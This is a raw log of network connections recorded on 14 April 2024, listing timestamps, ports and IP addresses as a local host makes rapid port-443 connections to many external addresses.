Apr 14, 2024 03:59:52.081525087 CEST	37992	443	192.168.2.23	42.249.81.52
Apr 14, 2024 03:59:52.081525087 CEST	46988	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.081532955 CEST	443	55428	202.176.161.27	192.168.2.23
Apr 14, 2024 03:59:52.081537962 CEST	443	46988	5.130.26.200	192.168.2.23
Apr 14, 2024 03:59:52.081540108 CEST	60474	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.081546068 CEST	443	60474	42.58.12.247	192.168.2.23
Apr 14, 2024 03:59:52.081557035 CEST	39168	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.081559896 CEST	40540	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.081562042 CEST	443	39168	178.85.241.185	192.168.2.23
Apr 14, 2024 03:59:52.081568956 CEST	443	40540	37.105.85.27	192.168.2.23
Apr 14, 2024 03:59:52.081572056 CEST	55428	443	192.168.2.23	202.176.161.27
Apr 14, 2024 03:59:52.081573009 CEST	46988	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.081578016 CEST	52680	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.081579924 CEST	60474	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.081587076 CEST	443	52680	118.16.138.1	192.168.2.23
Apr 14, 2024 03:59:52.081589937 CEST	39168	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.081604004 CEST	40540	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.081609964 CEST	43288	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.081618071 CEST	443	43288	123.2.207.82	192.168.2.23
Apr 14, 2024 03:59:52.081620932 CEST	52680	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.081640005 CEST	50826	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.081646919 CEST	43288	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.081649065 CEST	443	50826	117.134.141.233	192.168.2.23
Apr 14, 2024 03:59:52.081666946 CEST	38480	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.081675053 CEST	443	38480	212.227.51.55	192.168.2.23
Apr 14, 2024 03:59:52.081677914 CEST	50826	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.081696033 CEST	44614	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.081702948 CEST	443	44614	2.9.117.250	192.168.2.23
Apr 14, 2024 03:59:52.081705093 CEST	38480	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.081720114 CEST	48688	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.081727982 CEST	443	48688	148.121.84.160	192.168.2.23
Apr 14, 2024 03:59:52.081737041 CEST	37450	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.081738949 CEST	44614	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.081743956 CEST	443	37450	178.130.49.55	192.168.2.23
Apr 14, 2024 03:59:52.081753016 CEST	48688	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.081777096 CEST	37450	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.081794977 CEST	39354	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.081801891 CEST	443	39354	123.83.77.73	192.168.2.23
Apr 14, 2024 03:59:52.081808090 CEST	50526	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.081813097 CEST	443	50526	79.237.29.178	192.168.2.23
Apr 14, 2024 03:59:52.081828117 CEST	39354	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.081841946 CEST	51300	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.081841946 CEST	50526	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.081850052 CEST	443	51300	109.158.51.60	192.168.2.23
Apr 14, 2024 03:59:52.081876993 CEST	51300	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.081878901 CEST	47750	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.081887960 CEST	443	47750	94.195.244.164	192.168.2.23
Apr 14, 2024 03:59:52.081907034 CEST	46106	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.081912994 CEST	443	46106	148.83.222.96	192.168.2.23
Apr 14, 2024 03:59:52.081919909 CEST	47750	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.081937075 CEST	46106	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.081958055 CEST	40014	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.081965923 CEST	443	40014	94.99.213.165	192.168.2.23
Apr 14, 2024 03:59:52.081975937 CEST	47954	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.081989050 CEST	45006	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.081990957 CEST	443	47954	109.230.172.207	192.168.2.23
Apr 14, 2024 03:59:52.081995964 CEST	40014	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.081998110 CEST	443	45006	148.15.194.53	192.168.2.23
Apr 14, 2024 03:59:52.082000971 CEST	35180	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.082006931 CEST	443	35180	79.7.121.204	192.168.2.23
Apr 14, 2024 03:59:52.082020998 CEST	45006	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.082020998 CEST	47954	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.082035065 CEST	35180	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.082039118 CEST	36246	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.082046986 CEST	443	36246	109.150.254.167	192.168.2.23
Apr 14, 2024 03:59:52.082075119 CEST	36246	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.082076073 CEST	57960	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.082082987 CEST	443	57960	202.190.12.93	192.168.2.23
Apr 14, 2024 03:59:52.082087040 CEST	37920	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.082093954 CEST	443	37920	123.236.80.7	192.168.2.23
Apr 14, 2024 03:59:52.082106113 CEST	58744	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.082112074 CEST	443	58744	212.110.91.134	192.168.2.23
Apr 14, 2024 03:59:52.082119942 CEST	57960	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.082122087 CEST	37920	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.082138062 CEST	58744	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.082140923 CEST	47258	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.082149029 CEST	443	47258	118.140.213.51	192.168.2.23
Apr 14, 2024 03:59:52.082161903 CEST	49144	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.082170010 CEST	443	49144	210.175.103.81	192.168.2.23
Apr 14, 2024 03:59:52.082182884 CEST	47258	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.082190990 CEST	37638	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.082195997 CEST	49144	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.082196951 CEST	443	37638	178.214.66.7	192.168.2.23
Apr 14, 2024 03:59:52.082215071 CEST	56322	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.082223892 CEST	443	56322	42.132.39.246	192.168.2.23
Apr 14, 2024 03:59:52.082225084 CEST	37638	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.082246065 CEST	51074	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.082248926 CEST	56322	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.082261086 CEST	443	51074	123.183.247.81	192.168.2.23
Apr 14, 2024 03:59:52.082268953 CEST	38386	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.082278967 CEST	443	38386	37.92.249.236	192.168.2.23
Apr 14, 2024 03:59:52.082288980 CEST	57660	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.082294941 CEST	51074	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.082297087 CEST	443	57660	148.138.143.237	192.168.2.23
Apr 14, 2024 03:59:52.082303047 CEST	33990	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.082310915 CEST	443	33990	94.139.151.205	192.168.2.23
Apr 14, 2024 03:59:52.082314014 CEST	38386	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.082331896 CEST	59504	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.082334042 CEST	33990	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.082334042 CEST	57660	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.082339048 CEST	443	59504	212.139.85.28	192.168.2.23
Apr 14, 2024 03:59:52.082355976 CEST	41554	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.082362890 CEST	443	41554	202.65.109.1	192.168.2.23
Apr 14, 2024 03:59:52.082370043 CEST	59504	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.082371950 CEST	34688	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.082379103 CEST	443	34688	210.145.245.166	192.168.2.23
Apr 14, 2024 03:59:52.082395077 CEST	41554	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.082398891 CEST	40714	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.082405090 CEST	443	40714	37.101.160.64	192.168.2.23
Apr 14, 2024 03:59:52.082412004 CEST	60418	443	192.168.2.23	178.132.220.5
Apr 14, 2024 03:59:52.082412004 CEST	34688	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.082420111 CEST	443	60418	178.132.220.5	192.168.2.23
Apr 14, 2024 03:59:52.082436085 CEST	40714	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.082442999 CEST	47408	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.082451105 CEST	60418	443	192.168.2.23	178.132.220.5
Apr 14, 2024 03:59:52.082451105 CEST	443	47408	202.169.32.182	192.168.2.23
Apr 14, 2024 03:59:52.082470894 CEST	47554	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.082479000 CEST	443	47554	212.235.121.229	192.168.2.23
Apr 14, 2024 03:59:52.082484961 CEST	53128	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.082487106 CEST	47408	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.082492113 CEST	443	53128	94.109.91.124	192.168.2.23
Apr 14, 2024 03:59:52.082504034 CEST	60266	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.082514048 CEST	443	60266	109.121.31.246	192.168.2.23
Apr 14, 2024 03:59:52.082515955 CEST	53128	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.082525969 CEST	47554	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.082549095 CEST	60266	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.097024918 CEST	42408	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.097042084 CEST	443	42408	210.124.158.184	192.168.2.23
Apr 14, 2024 03:59:52.097086906 CEST	40480	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.097086906 CEST	42408	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.097095966 CEST	443	40480	5.175.127.211	192.168.2.23
Apr 14, 2024 03:59:52.097104073 CEST	37366	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.097103119 CEST	41992	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.097130060 CEST	443	37366	148.199.41.89	192.168.2.23
Apr 14, 2024 03:59:52.097130060 CEST	443	41992	109.228.251.206	192.168.2.23
Apr 14, 2024 03:59:52.097131968 CEST	40480	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.097157001 CEST	44738	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.097162008 CEST	60210	443	192.168.2.23	178.161.104.165
Apr 14, 2024 03:59:52.097163916 CEST	443	44738	212.146.2.105	192.168.2.23
Apr 14, 2024 03:59:52.097177029 CEST	41992	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.097178936 CEST	443	60210	178.161.104.165	192.168.2.23
Apr 14, 2024 03:59:52.097201109 CEST	37366	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.097223043 CEST	60210	443	192.168.2.23	178.161.104.165
Apr 14, 2024 03:59:52.097224951 CEST	44738	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.097225904 CEST	38262	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.097229958 CEST	44036	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.097235918 CEST	443	38262	2.39.27.50	192.168.2.23
Apr 14, 2024 03:59:52.097264051 CEST	41552	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.097270966 CEST	443	44036	123.124.229.222	192.168.2.23
Apr 14, 2024 03:59:52.097285032 CEST	443	41552	117.46.212.43	192.168.2.23
Apr 14, 2024 03:59:52.097289085 CEST	59970	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.097296953 CEST	443	59970	123.207.89.21	192.168.2.23
Apr 14, 2024 03:59:52.097300053 CEST	35630	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.097301006 CEST	38262	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.097305059 CEST	443	35630	178.3.15.224	192.168.2.23
Apr 14, 2024 03:59:52.097306967 CEST	44036	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.097353935 CEST	38072	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.097359896 CEST	35630	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.097361088 CEST	59970	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.097362041 CEST	41552	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.097381115 CEST	35616	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.097389936 CEST	443	35616	123.18.217.253	192.168.2.23
Apr 14, 2024 03:59:52.097393990 CEST	443	38072	5.32.1.59	192.168.2.23
Apr 14, 2024 03:59:52.097400904 CEST	37420	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.097408056 CEST	443	37420	117.37.122.214	192.168.2.23
Apr 14, 2024 03:59:52.097409010 CEST	50482	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.097419024 CEST	443	50482	123.18.197.210	192.168.2.23
Apr 14, 2024 03:59:52.097428083 CEST	56254	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.097434044 CEST	443	56254	5.22.192.44	192.168.2.23
Apr 14, 2024 03:59:52.097435951 CEST	35616	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.097470045 CEST	37420	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.097472906 CEST	38072	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.097472906 CEST	56254	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.097477913 CEST	52576	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.097477913 CEST	35096	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.097486019 CEST	443	52576	210.27.135.59	192.168.2.23
Apr 14, 2024 03:59:52.097491980 CEST	47488	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.097493887 CEST	443	35096	37.56.197.103	192.168.2.23
Apr 14, 2024 03:59:52.097496033 CEST	50482	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.097503901 CEST	443	47488	42.14.81.180	192.168.2.23
Apr 14, 2024 03:59:52.097512960 CEST	40426	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.097522020 CEST	52576	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.097522020 CEST	35096	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.097523928 CEST	443	40426	2.59.99.0	192.168.2.23
Apr 14, 2024 03:59:52.097520113 CEST	50086	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.097551107 CEST	47488	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.097572088 CEST	59522	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.097575903 CEST	49786	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.097578049 CEST	443	59522	79.154.29.216	192.168.2.23
Apr 14, 2024 03:59:52.097584009 CEST	443	49786	123.207.154.205	192.168.2.23
Apr 14, 2024 03:59:52.097599983 CEST	443	50086	178.28.218.195	192.168.2.23
Apr 14, 2024 03:59:52.097609043 CEST	40426	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.097609043 CEST	59522	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.097614050 CEST	49786	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.097620010 CEST	56842	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.097620010 CEST	55444	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.097625971 CEST	443	55444	2.0.111.211	192.168.2.23
Apr 14, 2024 03:59:52.097629070 CEST	443	56842	79.63.148.202	192.168.2.23
Apr 14, 2024 03:59:52.097630978 CEST	47730	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.097640991 CEST	443	47730	202.115.215.133	192.168.2.23
Apr 14, 2024 03:59:52.097651958 CEST	50086	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.097651958 CEST	37200	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.097659111 CEST	56842	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.097661018 CEST	55444	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.097687006 CEST	47730	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.097702980 CEST	443	37200	212.165.112.38	192.168.2.23
Apr 14, 2024 03:59:52.097754955 CEST	37200	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.098162889 CEST	42814	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.098175049 CEST	48276	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.098175049 CEST	443	42814	2.70.214.211	192.168.2.23
Apr 14, 2024 03:59:52.098186016 CEST	443	48276	210.133.134.119	192.168.2.23
Apr 14, 2024 03:59:52.098196983 CEST	43760	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.098206043 CEST	443	43760	212.48.54.54	192.168.2.23
Apr 14, 2024 03:59:52.098208904 CEST	42814	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.098212004 CEST	48276	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.098216057 CEST	59236	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.098225117 CEST	443	59236	117.39.131.212	192.168.2.23
Apr 14, 2024 03:59:52.098232031 CEST	43760	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.098236084 CEST	46438	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.098243952 CEST	443	46438	210.196.103.94	192.168.2.23
Apr 14, 2024 03:59:52.098267078 CEST	46682	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.098268032 CEST	59236	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.098270893 CEST	34256	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.098273039 CEST	443	46682	178.70.170.179	192.168.2.23
Apr 14, 2024 03:59:52.098289013 CEST	443	34256	117.132.255.181	192.168.2.23
Apr 14, 2024 03:59:52.098315954 CEST	46438	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.098325014 CEST	46682	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.098325968 CEST	43076	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.098325968 CEST	55950	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.098335981 CEST	443	43076	109.157.48.82	192.168.2.23
Apr 14, 2024 03:59:52.098345041 CEST	443	55950	123.253.199.190	192.168.2.23
Apr 14, 2024 03:59:52.098355055 CEST	40448	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.098368883 CEST	443	40448	118.190.17.246	192.168.2.23
Apr 14, 2024 03:59:52.098388910 CEST	60008	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.098391056 CEST	40980	443	192.168.2.23	123.92.137.202
Apr 14, 2024 03:59:52.098391056 CEST	43076	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.098391056 CEST	55950	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.098393917 CEST	35010	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.098397970 CEST	443	60008	79.175.48.192	192.168.2.23
Apr 14, 2024 03:59:52.098401070 CEST	443	40980	123.92.137.202	192.168.2.23
Apr 14, 2024 03:59:52.098407984 CEST	443	35010	37.5.227.3	192.168.2.23
Apr 14, 2024 03:59:52.098419905 CEST	45750	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.098426104 CEST	443	45750	109.22.195.252	192.168.2.23
Apr 14, 2024 03:59:52.098464966 CEST	35010	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.098473072 CEST	42720	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.098475933 CEST	40980	443	192.168.2.23	123.92.137.202
Apr 14, 2024 03:59:52.098495960 CEST	443	42720	178.150.57.5	192.168.2.23
Apr 14, 2024 03:59:52.098517895 CEST	54102	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.098524094 CEST	443	54102	202.211.133.80	192.168.2.23
Apr 14, 2024 03:59:52.098540068 CEST	52774	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.098556042 CEST	443	52774	5.113.223.205	192.168.2.23
Apr 14, 2024 03:59:52.098589897 CEST	42720	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.098692894 CEST	40448	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.098700047 CEST	52774	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.098700047 CEST	34256	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.098707914 CEST	60008	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.098711014 CEST	45750	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.098712921 CEST	54102	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.098838091 CEST	58550	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.098845959 CEST	443	58550	212.174.4.231	192.168.2.23
Apr 14, 2024 03:59:52.098855019 CEST	59720	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.098861933 CEST	443	59720	117.32.207.65	192.168.2.23
Apr 14, 2024 03:59:52.098861933 CEST	58600	443	192.168.2.23	94.100.112.85
Apr 14, 2024 03:59:52.098870039 CEST	443	58600	94.100.112.85	192.168.2.23
Apr 14, 2024 03:59:52.098872900 CEST	58550	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.098887920 CEST	36774	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.098890066 CEST	34896	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.098895073 CEST	59720	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.098900080 CEST	443	34896	118.7.202.51	192.168.2.23
Apr 14, 2024 03:59:52.098902941 CEST	58600	443	192.168.2.23	94.100.112.85
Apr 14, 2024 03:59:52.098906040 CEST	443	36774	37.23.183.36	192.168.2.23
Apr 14, 2024 03:59:52.098928928 CEST	48158	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.098932028 CEST	60136	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.098933935 CEST	34896	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.098942995 CEST	443	60136	109.203.65.47	192.168.2.23
Apr 14, 2024 03:59:52.098949909 CEST	443	48158	202.34.95.27	192.168.2.23
Apr 14, 2024 03:59:52.098973036 CEST	36774	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.098999977 CEST	60136	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.099029064 CEST	48158	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.099838018 CEST	36102	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.099838018 CEST	55164	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.099838018 CEST	35392	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.099838018 CEST	50818	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.099843979 CEST	33614	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.099844933 CEST	443	55164	79.218.62.15	192.168.2.23
Apr 14, 2024 03:59:52.099848032 CEST	443	36102	210.20.116.157	192.168.2.23
Apr 14, 2024 03:59:52.099858046 CEST	443	50818	109.64.154.56	192.168.2.23
Apr 14, 2024 03:59:52.099858999 CEST	443	35392	94.238.173.202	192.168.2.23
Apr 14, 2024 03:59:52.099859953 CEST	443	33614	79.252.24.120	192.168.2.23
Apr 14, 2024 03:59:52.099878073 CEST	45336	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.099895000 CEST	443	45336	5.82.105.236	192.168.2.23
Apr 14, 2024 03:59:52.099905968 CEST	55164	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.099919081 CEST	35392	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.099919081 CEST	36102	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.099942923 CEST	34154	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.099956036 CEST	33614	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.099961042 CEST	50818	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.099961996 CEST	46518	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.099958897 CEST	443	34154	42.94.151.53	192.168.2.23
Apr 14, 2024 03:59:52.099972010 CEST	33582	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.099977970 CEST	55592	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.099978924 CEST	34544	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.099982977 CEST	443	33582	212.147.102.83	192.168.2.23
Apr 14, 2024 03:59:52.099983931 CEST	443	46518	123.78.107.88	192.168.2.23
Apr 14, 2024 03:59:52.099987984 CEST	443	55592	2.58.239.21	192.168.2.23
Apr 14, 2024 03:59:52.099998951 CEST	443	34544	5.177.32.167	192.168.2.23
Apr 14, 2024 03:59:52.100012064 CEST	45336	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.100012064 CEST	53298	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.100035906 CEST	33582	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.100038052 CEST	46518	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.100039005 CEST	443	53298	2.62.71.6	192.168.2.23
Apr 14, 2024 03:59:52.100039959 CEST	34544	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.100042105 CEST	55592	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.100056887 CEST	37054	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.100066900 CEST	443	37054	37.173.47.238	192.168.2.23
Apr 14, 2024 03:59:52.100066900 CEST	34154	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.100066900 CEST	46422	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.100066900 CEST	34750	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.100097895 CEST	443	46422	202.196.246.128	192.168.2.23
Apr 14, 2024 03:59:52.100123882 CEST	443	34750	118.34.158.35	192.168.2.23
Apr 14, 2024 03:59:52.100127935 CEST	37054	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.100148916 CEST	53298	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.100148916 CEST	46422	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.100179911 CEST	34750	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.100245953 CEST	58182	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.100255966 CEST	443	58182	117.87.133.168	192.168.2.23
Apr 14, 2024 03:59:52.100263119 CEST	58102	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.100270987 CEST	443	58102	117.174.137.205	192.168.2.23
Apr 14, 2024 03:59:52.100303888 CEST	40448	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:52.100310087 CEST	58102	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.100311995 CEST	58182	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.100311995 CEST	50838	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.100317001 CEST	443	40448	118.190.17.246	192.168.2.23
